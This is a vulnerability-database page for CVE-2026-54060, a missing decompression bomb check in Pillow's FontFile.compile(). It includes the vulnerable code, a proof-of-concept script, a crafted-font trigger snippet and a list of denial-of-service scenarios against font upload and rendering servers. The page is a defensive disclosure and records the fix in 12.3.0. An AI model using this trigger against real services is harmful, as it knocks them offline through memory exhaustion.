Vulnerability-Lookup

GHSA-5X94-69RX-G8H2

Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08

Summary

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

Details

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric	Per-glyph (800 × 875)	Combined bitmap (256 glyphs)
Pixel count	700,000	179,200,000
DecompressionBombWarning threshold (89.4M)	0.008× — no warning	2.0× — above warning
DecompressionBombError threshold (178.9M)	0.004× — no error	1.001× — above error

With PCF-maximum glyph height (65,535):

Metric	Value
lines	256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height)	65,535
xsize	800
ysize = lines × h	256 × 65,535 = 16,776,960
Total pixels	800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold	75×
Memory (mode "1", 1 bit/pixel)	~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario	Effect
Web font preview (`BdfFontFile(upload).to_imagefont()`)	DoS with crafted .bdf upload
Server-side font renderer that loads PCF → `to_imagefont()`	OOM crash
Font pipeline: load → render text	One malicious font file kills the process

Impact

Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
Confidentiality: None
Integrity: None

Affected call paths: - BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile() - BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() - PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile() - PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:40Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow\u0027s standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation \u2014 and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64\u201392):**\n\n```python\ndef compile(self) -\u003e None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height \u2014 attacker-controlled\n            w = w + (src[2] - src[0])\n            if w \u003e WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # \u2264 800 (capped by WIDTH constant)\n    ysize = lines * h                      # \u2190 lines(256) \u00d7 h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here \u2190\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # \u2190 unchecked allocation\n```\n\n**\"Slow accumulation\" attack \u2014 per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 \u00d7 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008\u00d7 \u2014 **no warning** | 2.0\u00d7 \u2014 above warning |\n| DecompressionBombError threshold (178.9M) | 0.004\u00d7 \u2014 **no error** | **1.001\u00d7 \u2014 above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines \u00d7 h | 256 \u00d7 65,535 = **16,776,960** |\n| **Total pixels** | 800 \u00d7 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75\u00d7** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n\u2192 compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px \u2014 below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px \u003c 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise \u2014 unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # \u2192 Image.new(\"1\", (800, 224000)) \u2014 no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}\u00d7 DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001\u00d7 DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 \u2014 compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 \u00d7 65535 = 52.4M px \u2014 below 89.4M warning)\n# compile() combined: 800 \u00d7 16,776,960 = 13.4B px \u2014 75\u00d7 error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # \u2192 compile() \u2192 ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF \u2192 `to_imagefont()` | OOM crash |\n| Font pipeline: load \u2192 render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH \u2014 `compile()` creates a combined bitmap whose pixel count scales as `WIDTH \u00d7 lines \u00d7 max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` \u2192 `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` \u2192 `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-5x94-69rx-g8h2",
  "modified": "2026-07-20T21:08:40Z",
  "published": "2026-07-20T21:08:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`"
}

CVE-2026-54060 (GCVE-0-2026-54060)

Vulnerability from cvelistv5 – Published: 2026-07-06 18:49 – Updated: 2026-07-07 14:08

Title

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

Summary

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-789 - Memory Allocation with Excessive Size Value

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/0a…	x_refsource_MISC
https://github.com/python-pillow/Pillow/blob/main…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: < 12.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54060",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-07T14:07:46.646415Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-07T14:08:14.588Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 12.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-789",
              "description": "CWE-789: Memory Allocation with Excessive Size Value",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-06T18:49:23.788Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        }
      ],
      "source": {
        "advisory": "GHSA-5x94-69rx-g8h2",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54060",
    "datePublished": "2026-07-06T18:49:23.788Z",
    "dateReserved": "2026-06-11T18:24:35.096Z",
    "dateUpdated": "2026-07-07T14:08:14.588Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-2254

Vulnerability from pysec - Published: 2026-07-06 19:17 - Updated: 2026-07-13 05:50

Details

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0",
        "1.1",
        "1.2",
        "1.3",
        "1.4",
        "1.5",
        "1.6",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "1.7.8",
        "10.0.0",
        "10.0.1",
        "10.1.0",
        "10.2.0",
        "10.3.0",
        "10.4.0",
        "11.0.0",
        "11.1.0",
        "11.2.1",
        "11.3.0",
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "2.0.0",
        "2.1.0",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.7.0",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.9.0",
        "3.0.0",
        "3.1.0",
        "3.1.0.rc1",
        "3.1.0rc1",
        "3.1.1",
        "3.1.2",
        "3.2.0",
        "3.3.0",
        "3.3.1",
        "3.3.2",
        "3.3.3",
        "3.4.0",
        "3.4.1",
        "3.4.2",
        "4.0.0",
        "4.1.0",
        "4.1.1",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "5.0.0",
        "5.1.0",
        "5.2.0",
        "5.3.0",
        "5.4.0",
        "5.4.0.dev0",
        "5.4.1",
        "6.0.0",
        "6.1.0",
        "6.2.0",
        "6.2.1",
        "6.2.2",
        "7.0.0",
        "7.1.0",
        "7.1.1",
        "7.1.2",
        "7.2.0",
        "8.0.0",
        "8.0.1",
        "8.1.0",
        "8.1.1",
        "8.1.2",
        "8.2.0",
        "8.3.0",
        "8.3.1",
        "8.3.2",
        "8.4.0",
        "9.0.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.4.0",
        "9.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54060",
    "GHSA-5x94-69rx-g8h2"
  ],
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.",
  "id": "PYSEC-2026-2254",
  "modified": "2026-07-13T05:50:46.230498Z",
  "published": "2026-07-06T19:17:08.270Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-5X94-69RX-G8H2

Description

Steps to reproduce

Impact

CVE-2026-54060 (GCVE-0-2026-54060)

PYSEC-2026-2254

Tags

Sightings

Nomenclature